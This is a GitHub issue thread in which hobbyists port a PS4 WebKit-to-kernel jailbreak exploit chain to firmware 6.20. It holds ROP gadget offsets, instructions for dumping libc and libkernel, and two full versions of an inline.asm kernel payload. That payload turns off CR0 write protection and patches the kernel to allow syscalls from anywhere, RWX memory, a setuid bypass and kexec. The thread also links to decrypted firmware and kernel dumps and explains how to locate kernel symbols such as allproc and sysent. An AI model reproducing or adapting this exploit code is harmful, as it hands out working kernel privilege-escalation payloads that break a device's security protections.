Open LightningMods opened 4 years ago
I have successfully built this exploit in my machine. if you are good i can help you with that
@PaulJenkin sure , join my discord or send me a friends request on discord LM#6820 or tag me on twitter https://twitter.com/LightningMods_
Just in case, the checklist to port the toolchain (my implementation of bad_hoist + retargeted shinh/8cc) to another firmware:
mov rsp, [rdi+0x38] ; pop rdi ; ret
. You'll need to rewrite the pivot() code if this gadget doesn't exist.Once all of this is fixed, compiling and running ropchains should work, unless some gadgets are missing on 6.20.
@LightningMods I have Sent you a Friend request on discord my id SamJ87#3714
@sleirsgoevy We tried to degub the dump_module.py, dump_got.js it looks like you are using 0x18 as a base pointer to read the text. will you be able to provide the offset for 6.20
Note:
I will also like to share with you @sleirsgoevy all the files needed
FULL 6.20 Fs with modules, decrypted
https://psarchive.darksoftware.xyz/6.20-FS.zip
6.20 kernel
https://cdn.discordapp.com/attachments/742234482333188258/742235072463241287/Kernel_Dump_620-1.zip
6.20 kernel offsets https://github.com/OpenOrbis/mira-project/blob/master/kernel/src/Utils/Kdlsym/Orbis620.hpp
We tried to degub the dump_module.py, dump_got.js it looks like you are using 0x18 as a base pointer to read the text. will you be able to provide the offset for 6.20
This offset was copy-pasted from a 6.20 webkit exploit, so it is the same. I mean, it's the .text offsets are probably different.
2. it loops through 25 mb and at the end its not writing anything
The script is not able to differentiate between a network hangup and a browser crash, so it expects you to press Enter once you see the blue screen of webkit death.
@sleirsgoevy how do we get these offsets address for libc and libkernel
../dumps/libc.bin:
mkdir -p ../dumps
echo 'Estimated download size: 1.2 MB'
python3 dump_module.py 582 ../dumps/libc.bin
../dumps/libkernel.bin:
mkdir -p ../dumps
echo 'Estimated download size: 300 KB'
python3 dump_module.py 705,-0x10000 ../dumps/libkernel.bin
as on 6.20 using those addresses gives us way over 1.2mbs and 300kb (it never stops) so they are not correct
This was going to be a huge comment, but I decided to upload it as a document instead.
@sleirsgoevy hello i looked at my dump and did as it says but i cant find anything close to this
callq ffffffffff2bf176 <__bss_start+0xfffffffffd9b4176>
callq ffffffffff65df97 <__bss_start+0xfffffffffdd52f97>
callq ffffffffff667308 <__bss_start+0xfffffffffdd5c308> <-- probably the start of the GOT
callq ffffffffff667318 <__bss_start+0xfffffffffdd5c318>
callq ffffffffff667338 <__bss_start+0xfffffffffdd5c338>
callq ffffffffff667348 <__bss_start+0xfffffffffdd5c348>
callq ffffffffff667358 <__bss_start+0xfffffffffdd5c358>
callq ffffffffff667368 <__bss_start+0xfffffffffdd5c368>
callq ffffffffff667378 <__bss_start+0xfffffffffdd5c378>
callq ffffffffff667388 <__bss_start+0xfffffffffdd5c388>
callq ffffffffff667408 <__bss_start+0xfffffffffdd5c408>
callq ffffffffff667418 <__bss_start+0xfffffffffdd5c418>```
i have no __bss_start+xxxxx, mine only looks like this
```addr32 callq 187f5e0 <__bss_start-0x3a5a1f>
addr32 callq c1a0d66 <_end+0xa57bd66>
addr32 callq ffffffffaf1765f6 <_end+0xffffffffad5515f6>
addr32 callq ffffffffd5754ac6 <_end+0xffffffffd3b2fac6>
addr32 callq ffffffffe6970d7a <_end+0xffffffffe4d4bd7a>
addr32 callq fffffffff1c8e8ba <_end+0xfffffffff00698ba>
bnd callq 21540b50 <_end+0x1f91bb50>
bnd callq ffffffffbbe63c0e <_end+0xffffffffba23ec0e>
bnd callq ffffffffe3d953b6 <_end+0xffffffffe21703b6>
bnd callq fffffffff40d1037 <_end+0xfffffffff24ac037>
callq *0xffffffff9238ffb8
callq 1000620 <__bss_start-0xc249df>
callq 10015b0 <__bss_start-0xc23a4f>```
i also get these from dump_got.js
ptr_0 = 2015d7eb8
ptr_1 = 2055400e8
ptr_2 = 80a7c9de8
ptr_3 = 808efac50
You'd need to scroll a bit further down. This "GOT" thing has 8 (at least it was 8 for me) at the end of any address, and is long enough to be noticeable while scrolling through. It's not at the beginning.
EDIT: are you objdump'ing the webkit dumped using the Makefile, or the "decrypted userspace" binaries? That does make difference.
@sleirsgoevy As you said we are able to find lines like callq ffffffff812520be <__bss_start+0xffffffff7f82d0be>.... We used this on the file "dump_got.js" and ran bad hoist stand alone web and was able to produce only ptr_0 = 2015d7eb8 ptr_1 = 2055400e8 ptr_2 = 80a7c9de8 ptr_3 = 808efac50 from the print statement
Note: My self and @LightningMods worked on a discord call, if you also can join us in the discord call it will be of great help and a huge relief for us
yes i agree with him, it would be very beneficial for you to join a discord call with us @sleirsgoevy that way we can finish this ASAP just let us know a time and date if you are willing
need help in converting base address and dumping libc and libkernal
What we have done so far
Also tried with 827021e60 to (7776/16) 486 still we are getting same errors
Also, the very first address is (obviously) a start of some module too. So with 4 "jumps" you've got the same 5 modules as myself.
Ok we took the address 827021e60 and did uint16_t hi5 = (1 >> 64) + 0x838fa4000;. So i understood we need use the lines
will retry withe line number and post the result (all the files i have collected so far) in 1 hours. Thank you
I tried Dumping by note the pointer in sorted file with the line number in Unsorted file
Here are my issues
Things which i am not sure
Linking all the files
Libc - https://www84.zippyshare.com/v/NnorJbSz/file.html Libkernal - https://www84.zippyshare.com/v/mHudPOxF/file.html
Things I did
Note:
@sleirsgoevy I tired replacing the Offsets in inline.asm file, but only able to replace malloc and temp. Will you be able to help me in updating it?
Please let me know if you need any files from me
6.20 inline.asm
start:
push rdi
push rsi
mov rcx, 256
.malloc_loop:
push rcx
lea r8, [rel start]
mov rax, [r8+4072] ; kernel_base
mov rdi, 0xf8
lea rsi, [rax+0x0155D070] ; M_TEMP
mov rdx, 2 ; M_WAITOK
lea rax, [rax+0x001D9060] ; malloc
call rax
pop rcx
loop .malloc_loop
pop rsi
pop rdi
lea r8, [rel start]
; fix knote
mov rax, [r8+4064] ; real kn_fop
mov [rdi+104], rax
; cleanup
mov r9, [gs:0] ; struct thread
mov r9, [r9+8] ; struct proc
mov r9, [r9+0x48] ; struct filedesc
mov r9, [r9] ; fd_ofiles
mov eax, [r8+4084] ; master_sock
mov r10, [r9+8*rax] ; struct file
mov r10, [r10] ; struct socket
mov r10, [r10+24] ; pcb
mov r10, [r10+280] ; pktopts
mov qword [r10+16], 0 ; pktinfo
mov eax, [r8+4088] ; overlap_sock
mov r10, [r9+8*rax] ; struct file
mov r10, [r10] ; struct socket
mov r10, [r10+24] ; pcb
mov r10, [r10+280] ; pktopts
mov qword [r10+104], 0 ; rthdr
mov eax, [r8+4092]
mov r10, [r9+8*rax] ; struct file
mov r10, [r10] ; struct socket
mov r10, [r10+24] ; pcb
mov r10, [r10+280] ; pktopts
mov qword [r10+16], 0 ; pktinfo
; disable kernel WP
cli
mov rax, cr0
or rax, 0x10000
xor rax, 0x10000
mov cr0, rax
; apply patches
mov rax, [r8+4072] ; kernel_base
;; ignore SIGKILL
mov byte [rax+02250E7], 0xeb
;; syscall everywhere
mov dword [rax+0x490], 0
mov qword [rax+0x4b9], 0x19de9
;; mmap rwx (from mira)
mov byte [rax+0x24026D], 0x37
mov byte [rax+0x240270], 0x37
;; mprotect rwx (from mira)
mov word [rax+0x352278], 0x04eb
;; setuid (from mira)
mov byte [rax+ 0x290E2], 0xb8
mov dword [rax+ 0x290E3], 0
;; kexec (syscall #11)
mov qword [rax+0x111F750], 2
lea rcx, [rax+0x1827AC]
mov [rax+0x111E218], rcx
mov rcx, 0x100000000
mov [rax+0x111E238], rcx
; restore kernel WP
mov rax, cr0
or rax, 0x10000
mov cr0, rax
sti
; call the real f_detach
mov rax, [r8+4056] ; real f_detach
jmp rax
;; 0x29287 eb = ignore sigkill```
@sleirsgoevy
Looks like the GOT dumper was screwed due async call to writing it, Fixed that issue. now got the solid numbers 802 and 598 has to be dumped, will check and post the result here
Question
Regarding the kex part, there are a few offsets that need to be fixed: a series of defines in kex.c, and kernel patch offsets in inline.asm. The only custom (i.e. not present in Mira) patch there is the patch that allows any process to catch SIGSTOP and SIGKILL, and it's not strictly necessary.
Can you share updated Kex.c and inline.asm for 6.20 I am very new to c and address
The below link has all the information i think https://github.com/OpenOrbis/mira-project/blob/master/kernel/src/Utils/Kdlsym/Orbis620.hpp
Sorry for asking this , but it would huge help for me
I figured out the dump address Libc - 598,-0x24000 - Google Drive Lib kernel - 802,-0x12000 - Google Drive link
What I can say right now (without a kernel dump) is the following:
; disable kernel WP
and ; restore kernel WP
. From these patches however only the first one is present in Patches620.cppLightning mods shared kernel dump FULL 6.20 Fs with modules, decrypted
https://psarchive.darksoftware.xyz/6.20-FS.zip
6.20 kernel
https://cdn.discordapp.com/attachments/742234482333188258/742235072463241287/Kernel_Dump_620-1.zip
thr_new
syscall wrapper is at 0x16400, and is called from 0x697a. By searching backwards for push %rbp
we see that the function starts at 0x6350. That's most probably pthread_create
.get_errno_addr
(or whatever it is actually called): thr_new
wrapper checks the carry flag after the syscall, and jumps to 0x1640f if it is set. The code at 0x1640f loads the address 0x15f78 into %rcx and jumps to it. The code at 0x15f78 pushes %rax and calls a function at 0xb10. 0xb10 is get_errno_addr
.All offsets are from libkernel_base.
P.S. LightningMods seems to have posted a patched inline.asm here a few comments ago.
I have figured out how to take all the address and update rop, Only thing left now is kex.c and inline.asm
If every thing goes well i can share detailed report on how to do it, with some script which make it more easier
In kex.c you can see (lines 463-469) that F_DETACH_OFFSET is used to calculate kernel_base from f_detach. You can go another route and do the following:
unsinged long long kernel_base = f_detach & ~4095ull;
while((kread64(&o, victim, kernel_base) & __builtin_gadget_addr("dq 0x00000000ffffffff")) != 0x464c457f)
kernel_base -= 4096ull;
This code will work on any firmware, given that the kernel base is a) below f_detach b) page aligned (1 page = 4096 bytes) c) contains the bytes 7F 45 4C 46. This is true for all known firmwares.
Now that you have the kernel base, print out the actual value of f_detach - kernel_base
and insert it into #define F_DETACH_OFFSET
so that you don't need to do this process again.
Did you had a chance to look at the kernel dump https://cdn.discordapp.com/attachments/742234482333188258/742235072463241287/Kernel_Dump_620-1.zip
I found two obvious errors (there may be more) in LightningMods' inline.asm:
0x
prefix0x111e000
, while from the kernel dump I see that it is 0x111f540
. All offsets in the kexec patch (except the first which is already fixed, wtf??) need to be adjusted.Can you adjust and share one? please , humble request
start:
push rdi
push rsi
mov rcx, 256
.malloc_loop:
push rcx
lea r8, [rel start]
mov rax, [r8+4072] ; kernel_base
mov rdi, 0xf8
lea rsi, [rax+0x0155D070] ; M_TEMP
mov rdx, 2 ; M_WAITOK
lea rax, [rax+0x001D9060] ; malloc
call rax
pop rcx
loop .malloc_loop
pop rsi
pop rdi
lea r8, [rel start]
; fix knote
mov rax, [r8+4064] ; real kn_fop
mov [rdi+104], rax
; cleanup
mov r9, [gs:0] ; struct thread
mov r9, [r9+8] ; struct proc
mov r9, [r9+0x48] ; struct filedesc
mov r9, [r9] ; fd_ofiles
mov eax, [r8+4084] ; master_sock
mov r10, [r9+8*rax] ; struct file
mov r10, [r10] ; struct socket
mov r10, [r10+24] ; pcb
mov r10, [r10+280] ; pktopts
mov qword [r10+16], 0 ; pktinfo
mov eax, [r8+4088] ; overlap_sock
mov r10, [r9+8*rax] ; struct file
mov r10, [r10] ; struct socket
mov r10, [r10+24] ; pcb
mov r10, [r10+280] ; pktopts
mov qword [r10+104], 0 ; rthdr
mov eax, [r8+4092]
mov r10, [r9+8*rax] ; struct file
mov r10, [r10] ; struct socket
mov r10, [r10+24] ; pcb
mov r10, [r10+280] ; pktopts
mov qword [r10+16], 0 ; pktinfo
; disable kernel WP
cli
mov rax, cr0
or rax, 0x10000
xor rax, 0x10000
mov cr0, rax
; apply patches
mov rax, [r8+4072] ; kernel_base
;; ignore SIGKILL
mov byte [rax+0x02250E7], 0xeb
;; syscall everywhere
mov dword [rax+0x490], 0
mov qword [rax+0x4b9], 0x19de9
;; mmap rwx (from mira)
mov byte [rax+0x24026D], 0x37
mov byte [rax+0x240270], 0x37
;; mprotect rwx (from mira)
mov word [rax+0x352278], 0x04eb
;; setuid (from mira)
mov byte [rax+ 0x290E2], 0xb8
mov dword [rax+ 0x290E3], 0
;; kexec (syscall #11)
mov qword [rax+0x111F750], 2
lea rcx, [rax+0x1827AC]
mov [rax+0x111F758], rcx
mov rcx, 0x100000000
mov [rax+0x111F778], rcx
; restore kernel WP
mov rax, cr0
or rax, 0x10000
mov cr0, rax
sti
; call the real f_detach
mov rax, [r8+4056] ; real f_detach
jmp rax
;; 0x02250E7 eb = ignore sigkill
Hope I didn't fuck it up.
thx, just one more, kex.c based on the kernal dump
I don't think I'll be able to look up f-detach in the kernel dump, without actually running the exploit.
This modified kex.c should print the proper F_DETACH_OFFSET upon success (and then the PS4 will crash).
Thanks a lot boss. I will test all these and create report Thanks a lot for replying quickly.
Just a stupid question the modified kex will create the c-code.js that will print the F_DETACH_OFFSET?
@sleirsgoevy ye i saw that one without 0x
just now also thought i got all in the kexec patch but i must have not saved the document or something i didnt have time to check it over yet just thought id post as an example of what you have to look for
according to the kernel dump F_DETACH_OFFSET is
0x03BD330
for 6.20
Thanks to @sleirsgoevy @LightningMods
Achieved kernal panic Didnt get a Success though. Preparing all the details, will post it soon
Included all the details and script i have used for this. tomorrow will add a pull request to you porting-guide with all additional information possible
GOT offset Starting Address - 10054536 GOT all offsets Google drive link
Libc address: 599 Libkernal address: 802,-0x12000
rop.js: Google drive link -------------Rop Details------------------ saveall_addr = libc_base+0xa68 loadall_addr = libc_base+0x4f2c pivot_addr = libc_base+0x04fa2 infloop_addr = libc_base+0x16ff0 jop_frame_addr = libc_base+0x44310 get_errno_addr_addr = libkernel_base+0xb10 pthread_create_addr = libkernel_base+0x6350; -----------------End of ROp---------------
syscall.js: Google drive link syscall2.js: Google drive link
Kex.c: Google drive link inline.asm: Google drive link jb - c-code.js file: Google drive link
Self host: Google drive link
-------------Useful Script -------------- finding got base address from webkit elf - Google drive link GOT dumper with print via php - Google drive link find address jumps from GOT Dump - Google drive link
Added the below pull request
One Question Will it be OK with you, if I create git Repo by cloning this one and updating w.r.t 6.20?
I'd be glad to see 6.20 support in the mainline repo. I think it's much better to keep things in one place.
ok So far the c-code.js create by this process is making kernel panic every time i executed it. No Success at all. tried around 7 times. not sure what to change, if you are interest in helping out, we can work together
UPDATE I accidentially found two hardcoded kernel offsets in the exploit which were not abstracted out into #defines. This is probably what caused a crash.
The first one is in find_struct_proc
and should point to allproc
. The second one is 0x111e000
and should point to sysent
.
Can you let me know on how to find these values in 6.20?
sysent
is 0x111f540
instead of 0x111e000
, as was mentioned earlier. To find allproc
, the following algorithm can be used:
sys_kill
function. Its (absolute) address is written at sysent + 37*48 + 8 == sysent + 0x6f8
, remember to subtract the kernel base at the dump time.killpg1
function. sys_kill
first checks whether the PID is positive, then whether it is zero, then whether it is -1; killpg1
is called in the latter case. In the assembly listing (on 6.72) this looks like a test eax, eax ; jle ...
(which you follow, as -1 is less than or equal to zero), which jumps to a je ...
(which you don't follow, as -1 is not equal to zero). Right after the je
instruction there is a check whether eax != -1
(cmp eax, 0xffffffff ; jne ...
), which you also don't follow as we're interested in the -1 case. After this check (and some instructions that load arguments into register) there is a jmp
instruction that jumps to the call killpg1
instruction. (On 6.72 it's very close to sys_kill
; this can be used as a sanity check)allproc
. The first RIP-relative access killpg1
performs to the allproc_lock
, which it locks to avoid a race condition; the third (on 6.72 [and FreeBSD]) is to allproc
, whose address is greater by 0x60
bytes.
P.S. On stock FreeBSD the disassembly listing is different, and this pattern-matching does not work, but the idea is pretty much the same. 6.20 should be much more similar if not identical though.I am not sure where to start, will do i have to look for these value in libKernal obj dump?
These are not in libkernel, they are in the kernel. And as I've said, you first look up sys_kill inside sysent, then disassemble the kernel and follow a few jumps. If the "kernel base at the time of dumping" causes the problem, it can be obtained by doing readelf -l kernel-dump.elf
and subtracting 0x40 from the PHDR base address.
will you be able to locate it in the below kernel.bin? https://cdn.discordapp.com/attachments/742234482333188258/742235072463241287/Kernel_Dump_620-1.zip
The Below is the Readelf Response:
Elf file type is EXEC (Executable file) Entry point 0x0 There is 1 program header, starting at offset 64
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000001000 0x0000000000000000 0x0000000000000000 0x00000000067c4000 0x00000000067c4000 R E 0x1000
Section to Segment mapping: Segment Sections... 00 .text
I have successfully ported Mira(w hen) to 6.20, but the current exploit used on 6.20 breaks rootvnode/open , I tried to build your exploit but it doesn't want to work for me
I can provide you with everything you need to port, modules, kernel dump and offsets already ported
Please reply to this comment or tag me on
Discord: https://discord.me/dks
Or tag me in a post on Twitter
https://twitter.com/LightningMods_?s=09